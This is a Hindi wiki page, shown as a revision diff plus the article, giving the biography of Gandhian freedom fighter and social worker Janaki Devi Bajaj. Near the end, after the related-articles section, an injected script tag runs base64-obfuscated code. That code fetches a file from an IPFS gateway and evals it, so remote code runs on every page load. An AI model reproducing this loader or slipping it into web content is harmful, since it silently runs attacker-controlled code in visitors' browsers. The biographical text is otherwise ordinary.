जानकी देवी बजाज: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 49: Line 49:
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==बाहरी कड़ियाँ==
*[https://www.exoticindiaart.com/book/details/autobiography-of-janaki-devi-bajaj-NZC509/ मेरी जीवन यात्रा]
*[http://www.jamnalalbajajfoundation.org/beyond-profit/legacy/jankidevi-bajaj Jankidevi Bajaj]
==संबंधित लेख==
==संबंधित लेख==
{{सामाजिक कार्यकर्ता}}{{स्वतंत्रता सेनानी}}
{{सामाजिक कार्यकर्ता}}{{स्वतंत्रता सेनानी}}
[[Category:सामाजिक कार्यकर्ता]][[Category:स्वतन्त्रता सेनानी]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:पद्म भूषण]]
[[Category:सामाजिक कार्यकर्ता]][[Category:स्वतन्त्रता सेनानी]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:पद्म भूषण]]
__INDEX__
__INDEX__

Revision as of 05:59, 17 July 2018

जानकी देवी बजाज
पूरा नाम जानकी देवी बजाज
जन्म 7 जनवरी, 1893
जन्म भूमि जरौरा, मध्य प्रदेश
मृत्यु 21 मई, 1979
पति/पत्नी जमनालाल बजाज
नागरिकता भारतीय
प्रसिद्धि सामाजिक कार्यकर्ता व गाँधीवादी स्वतंत्रता सेनानी
पुरस्कार-उपाधि पद्म विभूषण (1956)
संबंधित लेख जमनालाल बजाज, महात्मा गाँधी, विनोबा भावे
अन्य जानकारी भारत में पहली बार 17 जुलाई, 1928 के ऐतिहासिक दिन को जानकी देवी अपने पति और हरिजनों के साथ वर्धा के लक्ष्मीनारायण मंदिर पहुँचीं और मंदिर के दरवाजे हर किसी के लिए खोल दिए।

जानकी देवी बजाज (अंग्रेज़ी: Janaki Devi Bajaj, जन्म- 7 जनवरी, 1893; मृत्यु- 21 मई, 1979) गाँधीवादी जीवन शैली की कट्टर समर्थक थीं। उन्होंने कुटीर उद्योग के माध्यम से ग्रामीण विकास में काफी सहयोग किया। वह एक स्वावलंबी महिला थीं, जिन्होंने स्वतंत्रता संग्राम में सक्रिय रूप से भाग लिया था। उनके व्यक्तित्व में एक विरोधाभास-सा था। जानकी देवी बजाज जहाँ दानी, मित्तव्ययी और कठोर थीं, वहीं दूसरी ओर दयालु भी बहुत थीं। जानकी देवी बजाज के आजीवन किये गए कार्यों को सम्मानित करने के लिए भारत सरकार ने सन् 1956 में उन्हें पद्म विभूषण से सम्मानित किया था।

परिचय

जानकी देवी का जन्म 7 जनवरी, 1893 को मध्य प्रदेश के जरौरा में एक संपन्न वैष्णव-मारवाड़ी परिवार में हुआ। प्रारंभिक शिक्षा के कुछ सालों बाद ही उनके छोटे-छोटे कंधों पर घर गृहस्थी की जिम्मेदारी डाल दी गयी। मात्र आठ साल की कच्ची उम्र में ही उनका विवाह, संपन्न बजाज घराने में कर दिया गया। विवाह के बाद उन्हें 1902 में जरौरा छोड़ अपने पति जमनालाल बजाज के साथ महाराष्ट्र के वर्धा आना पड़ा। जमनालाल जी, गाँधीजी से प्रभावित थे और उन्होंने उनकी सादगी को अपने जीवन में उतार लिया था। जानकी देवी भी स्वेच्छा से अपने पति के नक़्श-ए-कदम पर चलीं और त्याग के रास्ते को अपना लिया। इसकी शुरुआत स्वर्णाभूषणों के दान के साथ हुई। गाँधीजी के आम जनमानस के लिए दिए गए जनसंदेश का जिक्र जमनालाल जी ने एक पत्र में जानकी देवी से किया था। उस वक़्त वह 24 साल की थीं। संत विनोबा भावे बजाज परिवार के आत्मिक गुरु थे। जानकी देवी की बच्चों सी निश्चलता से आचार्य विनोबा भावे इतने प्रभावित हुए कि उनके छोटे भाई ही बन गए।[1] </ref>

महत्त्वपूर्ण कार्य

  • जानकी देवी ने जमनालाल जी के कहने पर सामजिक वैभव और कुलीनता के प्रतीक बन चुके पर्दा प्रथा का त्याग कर दिया था। उन्होंने सभी महिलाओं को भी इसे त्यागने के लिए प्रोत्साहित किया। साल 1919 में उनके इस कदम से प्रेरित होकर हज़ारों महिलाएं आज़ाद महसूस कर रही थीं, जो कभी घर से बाहर भी नहीं निकलीं थीं।
  • 28 साल की उम्र में जानकी देवी ने अपने सिल्क के वस्त्रों को त्याग कर खादी को अपनाया। वह अपने हाथों से सूत कातती और सैकड़ों लोगों को भी सूत कातना सिखातीं।
  • उन्होंने स्वदेशी आंदोलन में एक महत्वपूर्ण भूमिका निभायी। जब महाराष्ट्र के वर्धा में विदेशी सामानों की होली जलायी जा रही थी, तब उन्होंने विदेशी कपड़ों के थान जलाने से पहले एक बार भी नहीं सोचा।
  • भारत में पहली बार 17 जुलाई, 1928 के ऐतिहासिक दिन को जानकी देवी अपने पति और हरिजनों के साथ वर्धा के लक्ष्मीनारायण मंदिर पहुँचीं और मंदिर के दरवाजे हर किसी के लिए खोल दिए।
  • जानकी देवी की प्रसिद्धि बहुत दूर तक थी। उन्होंने महिलाओं की शिक्षा को बढ़ावा दिया।
  • विनोबा भावे के साथ वह कूपदान, ग्रामसेवा, गौसेवा और भूदान जैसे आंदोलनों से जुड़ी रहीं।
  • गौसेवा के प्रति उनके जूनून के चलते वह 1942 से कई सालों तक 'अखिल भारतीय गौसेवा संघ' की अध्यक्ष रहीं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. REDIRECTसाँचा:स्वतन्त्रता सेनानी